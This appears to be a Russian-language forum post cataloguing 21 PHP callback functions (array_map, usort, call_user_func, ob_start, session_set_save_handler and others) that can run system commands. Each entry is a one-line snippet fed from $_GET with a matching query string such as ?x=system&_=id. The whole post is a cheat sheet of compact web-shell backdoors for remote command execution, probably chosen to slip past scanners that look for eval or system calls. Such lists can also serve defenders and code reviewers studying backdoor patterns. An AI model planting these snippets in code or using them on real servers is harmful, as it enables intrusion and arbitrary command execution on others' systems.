Функции обратного вызова
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актуальные в php7.3, вызывать будем system("id");

Функции обратного вызова, изображение №1
array_map
Code:

array_map($_GET[x],$_GET);
?x=system&_=id
2. array_walk, array_filter, array_walk_recursive

Code:

array_walk($_GET,$_GET[x]);
?x=system&_=id
3. array_udiff

Code:

array_udiff($_GET,$_GET,$_GET[x]);
?x=system&_=id&1
4. array_reduce

Code:

array_reduce([1],$_GET[x],$_GET[_]);
?x=system&_=id
5. array_udiff_assoc, array_uintersect, array_uintersect_assoc

Code:

array_udiff_assoc($_GET,$_GET,$_GET[x]);
?x=system&_=id
6. array_intersect_uassoc, array_diff_ukey, array_diff_uassoc

Code:

array_intersect_uassoc($_GET,$_GET,$_GET[x]);
?x=system&id=1
7. array_uintersect_uassoc, array_udiff_uassoc

Code:

array_uintersect_uassoc($_GET, $_GET, $_GET[x],_);
?x=system&_=id
8. usort, uasort, ArrayObject::uasort

Code:

usort($_GET,$_GET[x]);
?x=system&_=id&1
9. uksort, ArrayObject::uksort

Code:

uksort($_GET,$_GET[x]);
?x=system&id=1&1
10. call_user_func

Code:

call_user_func($_GET[x], $_GET[_]);
?x=system&_=id
11. call_user_func_array

Code:

call_user_func_array($_GET[x], $_GET);
?_=id&x=system
12. iterator_apply

Code:

iterator_apply(new ArrayObject([1]),$_GET[w],$_GET);
?_=id&w=system
13. register_tick_function

Code:

declare(ticks=1);
register_tick_function($_GET[x],$_GET[_]);
?x=system&_=id
14. forward_static_call

Code:

class A
{
    function __construct() {
        forward_static_call($_GET[x],$_GET[_]);
    }
}
new A;
?x=system&_=id
15 forward_static_call_array

Code:

class A
{
    function __construct() {
        forward_static_call_array($_GET[x],$_GET);
    }
}
new A;
?_=id&x=system
16. session_set_save_handler

Code:

session_set_save_handler($_GET[x],_,_,_,_,_);
ini_set('session.save_path',$_GET[_]);
session_start();
?x=system&_=id
17. sqlite::createFunction

Code:

$x=$_GET[x];
$db = new SQLite3(':memory:');
$db->createFunction($x,$x);
$db->querySingle("select $x('$_GET[_]')");
?x=system&_=id
18. spl_autoload_register

Code:

spl_autoload_register($_GET[x]);
new $_GET[_];
?x=system&_=id
19. ob_start

Code:

ob_start($_GET[x]);
echo $_GET[_];
?>
?x=system&_=id
20. set_exception_handler

Code:

set_exception_handler($_GET[x]);
throw new Exception(";$_GET[_];#");
?_=id&x=system
21. register_shutdown_function

Code:

register_shutdown_function($_GET[x],$_GET[_]);
?x=system&_=id